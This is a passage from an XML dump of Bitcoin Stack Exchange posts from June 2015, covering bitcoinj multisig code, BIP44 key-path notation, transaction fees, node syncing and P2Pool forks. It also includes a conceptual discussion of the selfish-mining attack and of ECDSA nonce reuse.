sumDiffLast100/last100BlocksTime*newTimeTarget;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2015-06-25T10:13:44.310" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38263" PostTypeId="1" AcceptedAnswerId="38265" CreationDate="2015-06-25T10:24:33.927" Score="4" ViewCount="2112" Body="&lt;p&gt;Can somebody help me with step-by-step list of how to create a multi signature 2-of-3 transaction using bitcoinj api?&lt;/p&gt;&#xA;" OwnerUserId="27079" LastActivityDate="2016-02-05T21:14:04.733" Title="Bitcoinj How to create multi-signature address using bitcoinj" Tags="|bitcoinj|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38265" PostTypeId="2" ParentId="38263" CreationDate="2015-06-25T11:36:22.283" Score="3" Body="&lt;pre&gt;&lt;code&gt;ECKey keyA = &amp;lt;something&amp;gt;&#xA;ECKey keyB = &amp;lt;something&amp;gt;&#xA;ECKey keyC = &amp;lt;something&amp;gt;&#xA;&#xA;Transaction aTransaction = new Transaction(params);&#xA;List&amp;lt;ECKey&amp;gt; keyList = ImmutableList.of(keyA, keyB, keyC);&#xA;&#xA;&#xA;Script script = ScriptBuilder.createMultiSigOutputScript(2, keyList); //2 of 3 multisig&#xA;Coin value = Coin.valueOf(0,10); // 0.1 btc&#xA;aTransaction.addOutput(value, script);&#xA;Wallet.SendRequest request = Wallet.SendRequest.forTx(aTransaction.addOutput);&#xA;wallet.completeTx(request); // fill in coins&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See mikes &lt;a href=&quot;http://bitcoinj.github.io/working-with-contracts#creating-multi-signature-outputs&quot; rel=&quot;nofollow&quot;&gt;documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-06-25T11:36:22.283" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38266" PostTypeId="2" ParentId="38251" CreationDate="2015-06-25T14:34:50.283" Score="1" Body="&lt;p&gt;I think your 3G speeds should work pretty well. They usually do not require fast internet connections. &lt;/p&gt;&#xA;" OwnerUserId="27019" LastActivityDate="2015-06-25T14:34:50.283" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38267" PostTypeId="1" AcceptedAnswerId="38313" CreationDate="2015-06-25T14:38:22.563" Score="2" ViewCount="747" Body="&lt;p&gt;Typical path notation for a BIP44 child private key would be something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;m/44'/0'/0'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The public key is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;point(m/44'/0'/0')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where point is the ECC multiply function. Is there any better notation than this? It would not be right to use &lt;code&gt;M/44'/0'/0'&lt;/code&gt; as this path is not derivable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any standard notation for the &lt;code&gt;xpub&lt;/code&gt; calculated from a hardened child private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Note: I'm looking for notation that would be useful to parse and then re-derive this key, not necessarily the type of notation that would be intuitive in an academic paper.)&lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2015-06-25T16:13:52.000" LastActivityDate="2015-06-29T15:51:51.840" Title="Path notation for extended public key of hardened child?" Tags="|bip32-hd-wallets|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38268" PostTypeId="5" CreationDate="2015-06-25T16:46:03.857" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-25T16:46:03.857" LastActivityDate="2015-06-25T16:46:03.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38269" PostTypeId="4" CreationDate="2015-06-25T16:46:03.857" Score="0" Body="Questions concerned with the expected or actual time between the discovery of two blocks." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2015-06-25T16:46:03.857" LastActivityDate="2015-06-25T16:46:03.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38270" PostTypeId="1" AcceptedAnswerId="38272" CreationDate="2015-06-25T16:58:39.967" Score="2" ViewCount="472" Body="&lt;p&gt;At current exchange rates, it looks like the standard transaction fee is on the order of tens of cents (USD).  Inclusion of the standard transaction fee means getting the transaction picked up within minutes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conversely, zero transaction fee transactions may not be picked up for days.  It also seems to be the case, at least for now, that transactions in limbo like this may be double spent by reissuing with a higher transaction fee.  See earlier discussion here:  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/26926/could-any-standard-fee-transaction-be-double-spent-by-using-a-higher-fee/&quot;&gt;Could any standard fee transaction be double spent by using a higher fee?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One can imagine that in the longer term there might be a market equilibrium in which a certain floating minimum transaction fee is required by miners to guarantee processing, and that sellers might not deliver/perform unless that fee were included in a payment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there ways to estimate what the minimum fee might be?&lt;/p&gt;&#xA;" OwnerUserId="27082" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2015-06-25T17:31:09.173" Title="Minimum Tranasction Fees" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38271" PostTypeId="1" CreationDate="2015-06-25T17:18:07.760" Score="1" ViewCount="54" Body="&lt;p&gt;Are there any good APIs for accepting Bitcoin within Qt or similar such applications, for making paid shareware applications?&lt;/p&gt;&#xA;" OwnerUserId="4334" LastActivityDate="2015-06-25T17:18:07.760" Title="Good API for making shareware that accepts bitcoin?" Tags="|api|payment|payment-processors|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38272" PostTypeId="2" ParentId="38270" CreationDate="2015-06-25T17:31:09.173" Score="1" Body="&lt;p&gt;Bitcoin Core, as of 0.10, has a fee estimation RPC call, which you can read more about here: &lt;a href=&quot;http://jonathanpatrick.me/blog/floating-fees&quot; rel=&quot;nofollow&quot;&gt;http://jonathanpatrick.me/blog/floating-fees&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to run Bitcoin Core, there are other third party services that provide simple API calls to estimate fees as well, like the Chain Endpoint on BlockCypher's API: &lt;a href=&quot;http://dev.blockcypher.com/#chain-endpoint&quot; rel=&quot;nofollow&quot;&gt;http://dev.blockcypher.com/#chain-endpoint&lt;/a&gt; (Full disclosure, I work there/am biased)&lt;/p&gt;&#xA;" OwnerUserId="26887" LastActivityDate="2015-06-25T17:31:09.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38273" PostTypeId="1" AcceptedAnswerId="38823" CreationDate="2015-06-25T20:32:45.657" Score="7" ViewCount="868" Body="&lt;p&gt;The &lt;a href=&quot;http://arxiv.org/pdf/1311.0243v4.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Majority is not enough&lt;/a&gt; paper proposed an academic and somehow practical attack to Bitcoin mining system based on creating hidden forks. The paper claims that if miners work on whichever fork they received first, the attack can be executed by very small pool. Their proposed solution is: &quot;when a miner learns&#xA;of competing branches of the same length, it should choose which one to mine on uniformly at random&quot;. However this solution does not solve the problem completely, it just increases required size of the pool which want to execute the attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have read about the attack &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/14326/colluding-miners-attack-is-the-bitcoin-protocol-compromised&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/23798/does-selfish-mining-actually-give-an-advantage-in-the-absence-of-transaction-fee&quot;&gt;here&lt;/a&gt;, however, I didn't find answers of my questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the attack really practical?&lt;/li&gt;&#xA;&lt;li&gt;Have bitcoin developers applied the solution proposed in the paper? (If yes, why the wiki is not updated? The &lt;a href=&quot;https://en.bitcoin.it/wiki/Block_chain&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt; states: &quot;generating nodes build onto whichever one of the blocks they received first&quot;)&lt;/li&gt;&#xA;&lt;li&gt;Have bitcoin developers applied another solution for the problem? (The solution proposed in the paper does not solve the problem completely) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;why mining on both chain forks uniformly would increase the required mining power for a selfish mining attack?&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mining on both chain forks uniformly is a solution to &lt;em&gt;sybil attack&lt;/em&gt; of the selfish miners. Selfish want to force other miners to work on their fork, so they create a significant number of zero-power miners to the Bitcoin miner network, as their sensor. When one of their sensors senses a new valid block, all sensors broadcast the fork of the selfish miners. Therefore, more than half of miners (nearly all of them) would work on selfish miners fork.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that, the sybil attack and their proposed solution is minor part of the attack. The main attack could be executed without running sybil attack and even in the case of applying their proposed solution, if the selfish miners have 33% of mining power. &lt;/p&gt;&#xA;" OwnerUserId="26904" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2016-05-22T23:10:11.040" Title="Have bitcoin developers applied the solution for selfish miner attack?" Tags="|blockchain-fork|bitcoin-core-development|academic-research|selfish-mining|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38274" PostTypeId="2" ParentId="38257" CreationDate="2015-06-25T20:33:19.307" Score="5" Body="&lt;p&gt;1, 2 and 3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transactions that arrive through inventory announcements on the network are validated completely by checking the form of the transaction for sanity, executing the script, checking signatures, ensuring that the outputs they are spending actually exist, and that the transaction doesn't end up making negative values anywhere. If they are accepted they are added to the nodes memory pool where they wait for inclusion in a block.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Additionally, non-consensus rules are applied to bare transactions known as IsStandard. On the production network only a small subset of transaction types are &quot;standard&quot;, this includes P2SH (pay to script hash) and P2PKH (pay to pubkey hash, or an address), but not raw multisignature and other scripts. Transactions that do not pass are not accepted but relaying a non standard transaction is not a bannable offense.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;After validation, IsMine is run to check if the nodes wallet (if it exists) has the keys which own these transactions, of it they have been added as a watching address, if they do they are marked as unconfirmed in the wallet file. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Transactions that arrive in a block are completely validated, along with the rest of the structure of the block. The proof of work is checked, the size and form of the block is checked, the merkle tree is validated to contain all the transactions it claims to and that it connects properly with the header. Every transaction is validated, same as if it had arrived from the network. If they are found to be invalid the entire block is thrown out and the peer who relayed the block is banned from connecting. If the block is valid, it is committed and written to the unspent outputs database, additional undo data is written to file if the accepted block is ever needed to be undone.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;IsStandard does not apply here, any transaction that is valid is acceptable when it is included in a block. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;IsMine is run to filter out any transactions relevant to the wallet or watch address (if present), and updates the wallet with confirmations if necessary.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-25T22:40:49.313" LastActivityDate="2015-06-25T22:40:49.313" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38275" PostTypeId="2" ParentId="38273" CreationDate="2015-06-25T21:51:59.660" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is the attack really practical?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Eh... maybe. The whitepaper you linked makes two assumptions, and it's not clear how well those hold up in practice.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;It costs nothing (or close to nothing compared to mining pool revenue) to run a sybil attack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Because selfish mining is reactive, and it springs into action only after the&#xA;  honest nodes have discovered a block X, it may seem to be at a disadvantage.&#xA;  But a savvy pool operator can perform a sybil attack on honest miners by adding&#xA;  a significant number of zero-power miners to the Bitcoin miner network. These&#xA;  virtual miners act as advance sensors by participating in data dissemination,&#xA;  but do not mine new blocks. (Babaioff et al. also acknowledge the feasibility of&#xA;  such a sybil attack [10]). The virtual miners are managed by the pool, and once&#xA;  they hear of block X, they ignore it and start propagating block P.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are around 5k full nodes, so to significantly alter how blocks are relayed, you'd need to add a decent number of them. This is a fixed cost, and it imposes a lower bound on the amount of hashpower necessary to make this profitable.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Blocks propagate near-instantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the paper:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We assume block propagation time is negligible compared&#xA;  to mining time, as is the case in reality. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;That's not necessarily true. Miners today produce lots of orphan blocks, and it seems like running a selfish mining attack would increase the orphan rate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Have bitcoin developers applied the solution? (If yes, why the wiki is not updated? The wiki states: &quot;generating nodes build onto whichever one of the blocks they received first&quot;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No. This was discussed &lt;a href=&quot;http://www.mail-archive.com/bitcoin-development@lists.sourceforge.net/msg03134.html&quot; rel=&quot;nofollow&quot;&gt;on the mailing list&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;The suggested change is actually very simple (minutes of coding) and&#xA;    elegant and addresses precisely the identified problem.&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;Disagree. Unless I'm misunderstanding what they propose, their suggested&#xA;  change would mean anyone could broadcast a newly discovered block at any&#xA;  point and have a 50% chance of being the winner. That is a fundamental&#xA;  change to the dynamics of how Bitcoin works that would require careful&#xA;  thought and study.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Also, their solution doesn't really address the problem they bring up, it&#xA;  just changes the size of the threshold required.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="2306" LastEditorUserId="2306" LastEditDate="2015-10-25T19:49:47.587" LastActivityDate="2015-10-25T19:49:47.587" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38277" PostTypeId="2" ParentId="22239" CreationDate="2015-06-26T01:24:41.280" Score="2" Body="&lt;p&gt;Add &lt;code&gt;malloc&lt;/code&gt; library manually when compiling the file/project : &#xA;&lt;code&gt;-I/usr/include/malloc/&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="27086" LastActivityDate="2015-06-26T01:24:41.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38281" PostTypeId="2" ParentId="38015" CreationDate="2015-06-26T10:29:20.110" Score="-1" Body="&lt;p&gt;You can use Bitpay to do it. What you can do is create a bitpay account and input their bank details to send the money to. Then you can send the amount for a transaction to the account related with that account and it will be transferred to their account. &lt;/p&gt;&#xA;" OwnerUserId="27092" LastActivityDate="2015-06-26T10:29:20.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38282" PostTypeId="2" ParentId="16" CreationDate="2015-06-26T15:11:49.537" Score="1" Body="&lt;p&gt;Others have already recommended &lt;em&gt;&lt;a href=&quot;http://github.com/aantonop/bitcoinbook&quot; rel=&quot;nofollow&quot;&gt;Mastering Bitcoin&lt;/a&gt;&lt;/em&gt; and the &lt;a href=&quot;http://bitcoin.org/bitcoin.pdf&quot; rel=&quot;nofollow&quot;&gt;whitepaper&lt;/a&gt;, and I'd strongly agree. &lt;em&gt;Mastering Bitcoin&lt;/em&gt;'s section on transactions is particularly useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, nobody's recommended the &lt;a href=&quot;https://bitcoin.org/en/developer-guide&quot; rel=&quot;nofollow&quot;&gt;Developer Guide at bitcoin.org&lt;/a&gt; yet, and it's one of the better resources for learning about Bitcoin, in my opinion. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For less technical resources, a good starting place would be Andreas Antonopoulos and Balaji Srinivasan's videos on Youtube. &lt;/p&gt;&#xA;" OwnerUserId="21377" LastEditorUserId="5406" LastEditDate="2015-06-28T08:43:09.653" LastActivityDate="2015-06-28T08:43:09.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38283" PostTypeId="1" CreationDate="2015-06-26T17:58:23.760" Score="0" ViewCount="1241" Body="&lt;p&gt;How can I verify the public key that I provided was actually used to generate the multisig address I'm funding for say escrow? &lt;/p&gt;&#xA;" OwnerUserId="12311" LastActivityDate="2015-08-25T20:21:15.610" Title="How to determine public keys that were used to generate a multisig address?" Tags="|multi-signature|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38284" PostTypeId="2" ParentId="38283" CreationDate="2015-06-26T17:58:23.760" Score="1" Body="&lt;p&gt;A redeem script is generated along with the multisig address. The redeem script can be decoded at &lt;a href=&quot;https://coinb.in/#verify&quot; rel=&quot;nofollow&quot;&gt;https://coinb.in/#verify&lt;/a&gt; (for example) to determine the address, the required number of signatures, and a list of the public keys with access. (It will also be used later to release the bitcoins.)&lt;/p&gt;&#xA;" OwnerUserId="12311" LastEditorUserId="12311" LastEditDate="2015-06-26T19:17:49.287" LastActivityDate="2015-06-26T19:17:49.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38287" PostTypeId="2" ParentId="36845" CreationDate="2015-06-26T23:51:56.613" Score="2" Body="&lt;p&gt;Check your &lt;code&gt;rpcallowip&lt;/code&gt; configuration, you will need to explicitly allow connections incoming to your RPC port from the network. If your local network for example is &lt;code&gt;192.168.0.x&lt;/code&gt;, the &lt;code&gt;rpcallowip&lt;/code&gt; configuation in your &lt;code&gt;bitcoin.conf&lt;/code&gt; will need to be &lt;code&gt;192.168.0.0/24&lt;/code&gt; (this is &lt;a href=&quot;https://en.wikipedia.org/wiki/Classless_Inter-Domain_Routing&quot; rel=&quot;nofollow&quot;&gt;CIDR notation&lt;/a&gt;). &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-26T23:51:56.613" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38288" PostTypeId="1" CreationDate="2015-06-27T04:10:22.097" Score="3" ViewCount="124" Body="&lt;p&gt;Could a miner who wanted more transaction fees manipulate the fee produced by estimatefee? If so, what percentage of hashpower would it take, and how long would you need it?&lt;/p&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2015-07-04T01:51:52.937" Title="Can the fee produced by estimatefee be artificially manipulated?" Tags="|transaction-fees|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38290" PostTypeId="1" CreationDate="2015-06-27T13:44:25.957" Score="2" ViewCount="134" Body="&lt;p&gt;I'm building some trading robots for a while already but I keep seing that something is wrong with my end of day balances.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My robot does arbitrage across multiple exchanges and I always take into account the fees but for some reason, the numbers are not always as I expect.&#xA;I suspect that I am either not applying the fees in the right place in my algorithm or maybe I don't have the right fees up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to ask you:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Just to make sure that I have the latest fees, do you know where can I get the most reliable information on the fees for the exchanges Cryptsy, Btce, and Bitfinex?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I would like to understand better, for each exchange from which currency the fees are deducted, when buying and selling. Is it the counter or the base currency, that one is charged from? How could I find out this?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="15153" LastEditorUserId="5406" LastEditDate="2015-06-27T15:22:31.873" LastActivityDate="2015-06-27T15:22:31.873" Title="Do exchanges charge fees from base currency or from counter currency?" Tags="|trading|btce|arbitrage|cryptsy|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38291" PostTypeId="2" ParentId="37684" CreationDate="2015-06-27T22:20:34.967" Score="-2" Body="&lt;p&gt;&lt;a href=&quot;http://chimera.labs.oreilly.com/books/1234000001802/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Mastering Bitcoin&lt;/em&gt;&lt;/a&gt; by Andreas Antonopoulos is definitely a good start. It's available for free.&lt;/p&gt;&#xA;" OwnerUserId="27107" LastEditorUserId="4334" LastEditDate="2015-12-13T10:17:20.403" LastActivityDate="2015-12-13T10:17:20.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38295" PostTypeId="1" CreationDate="2015-06-28T05:22:26.613" Score="1" ViewCount="137" Body="&lt;p&gt;I have read on here that hardforks are a point where the pool with the biggest stick gets to decide which course the blockchain will take. Has the hardfork only just begun? When is the fork ultimately decided and has this one already passed the decision of the largest pool? Are most pools based on P2Pool's open source code? Is P2Pool calling for a fork that may not ultimately happen? Or have they worked in code from the other side of a fork into their own code? Do pools gravitate to different standards or always generally find some consensus? This one has the word attack in the fine print. Is this a step to eliminating an exploit? Is there an attack that could exploit the weighting and timing of the share system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How long does a fork last? How many coins have been lost to forks and is there a tally? Sorry I know, that's a lot of questions.&lt;/p&gt;&#xA;" OwnerUserId="26963" LastEditorUserId="26963" LastEditDate="2015-06-28T18:27:01.637" LastActivityDate="2015-06-28T18:27:01.637" Title="P2Pool Hardfork 14.0 where and when is it decided?" Tags="|blockchain-fork|p2pool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38296" PostTypeId="2" ParentId="38295" CreationDate="2015-06-28T06:21:20.973" Score="2" Body="&lt;p&gt;This has nothing to do with any proposed hard forks of Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The hard fork being referred to is internal to P2Pool, and has already happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2Pool has something called a sharechain is parallel to Bitcoins blockchain, only using a 30 second block time rather than a 600 second block time. It is internally used for tracking mining progress in the pool, and ordering payouts. It has the same features as the Bitcoin one, in that it is completely in consensus between all the P2Pool nodes and has very specific rules for what is acceptable and what is not. Some rule altering is a hard fork, where previously invalid things become valid after the change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason a hard fork needs to happen is that &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0066.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP66&lt;/a&gt; enforcement will cause all subsequent version 2 blocks to be invalidated, anybody mining a version 2 block after this point in time will be throwing away money. P2Pool had to be internally hardforked to support version 3 blocks, or risk just burning all of the miners income on rejected blocks. This Bitcoin soft fork will happen &lt;a href=&quot;http://bitcoin.sipa.be/ver-50k.png&quot; rel=&quot;nofollow&quot;&gt;very shortly&lt;/a&gt;, when the average version of the last 1000 blocks is 2.95, which is why P2Pool had to make such a drastic change in such a short period of time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2Pool is unlike all other centralized pools in its operation and management. Other pools simply updated their Bitcoin nodes to the latest version of the software and anyone mining with them accepted the soft fork by proxy. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I have read on here that hardforks are a point where the pool with the biggest stick gets to decide which course the blockchain will take.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is not correct. A hard fork is controlled by the users of the network, not the miners. The miners must mine blocks which the network views as acceptable, if they don't the nodes in the network will simply reject their (to the rules they have) invalid block and ban the peer that sent it to them. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Has the hardfork only just begun?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There is no accepted proposal for a Bitcoin hard fork. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="24925" LastEditDate="2015-06-28T06:34:59.423" LastActivityDate="2015-06-28T06:34:59.423" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38297" PostTypeId="1" AcceptedAnswerId="39179" CreationDate="2015-06-28T10:56:56.577" Score="3" ViewCount="1037" Body="&lt;p&gt;I just upgraded from Bitcoin Core 0.9 to 0.10.1 on Ubuntu 14.4 after being gone for a few months (blockchain data is from February).  When I loaded up bitcoin-qt, it seemed to be working fine and began correctly syncing the missing blocks.  I then quit bitcoin-qt and later restarted the system and it now refuses to get blocks after February 28th, 2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error repeatedly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ERROR: AcceptToMemoryPool : nonstandard transaction: non-final&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am now attempting a &lt;code&gt;-reindex -rescan&lt;/code&gt;, but it looks like this will take a &lt;del&gt;day&lt;/del&gt; week or so on my old system due to its older CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additional notes:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I confirmed that port 8333 was open and node was visible on bitnodes.io with multiple incoming connections.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13440" LastEditorUserId="13440" LastEditDate="2015-06-30T04:23:40.460" LastActivityDate="2015-11-20T22:25:18.917" Title="bitcoin core 0.10.1 upgrade stuck syncing" Tags="|bitcoin-core|synchronization|ubuntu|error|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="38298" PostTypeId="1" CreationDate="2015-06-28T11:50:28.467" Score="2" ViewCount="936" Body="&lt;p&gt;I've modified the r-scan Python code to look beyond the 50 Txs the Blockchain.info API usually returns. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My modifications take &lt;em&gt;all&lt;/em&gt; the &lt;code&gt;r&lt;/code&gt; values for my address and look for duplicates, but a commented out section of code makes mention of just checking the TxIDs which have more than one input script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it only Txs with &lt;em&gt;multiple&lt;/em&gt; inputs that are the problem? &lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-06-28T12:10:15.717" Title="Duplicate r value for an address: only an issue for a multi-input Tx?" Tags="|security|address|python|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38299" PostTypeId="2" ParentId="38298" CreationDate="2015-06-28T12:10:15.717" Score="1" Body="&lt;p&gt;Any reused nonce is a problem, it's not restricted to a single transaction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No competent software will ever reuse nonces accidentally, so using a scanning script like that is just ruining your privacy for no real benefit. Bitcoin Core, Electrum and Armory all use RFC 6979 deterministic nonces so there is no room for RNG failure in these cases, though any software faulty enough to fall at that hurdle will have used the same RNG to make the private keys as well. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-06-28T12:10:15.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38300" PostTypeId="1" AcceptedAnswerId="38302" CreationDate="2015-06-28T16:53:50.167" Score="0" ViewCount="304" Body="&lt;p&gt;So i was testing the Blockchain receive API, and during the first trial, I had a typo on the callback url. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does that mean blockchain.info will retry to call that bad url 1000 times before it finally gives up ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to cancel the unwanted callback registered on blockchain.info ?&lt;/p&gt;&#xA;" OwnerUserId="27121" LastEditorUserId="27120" LastEditDate="2015-06-28T17:02:41.673" LastActivityDate="2015-06-28T18:11:01.340" Title="How to cancel the callback url registered on blockchain.info" Tags="|blockchain.info|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
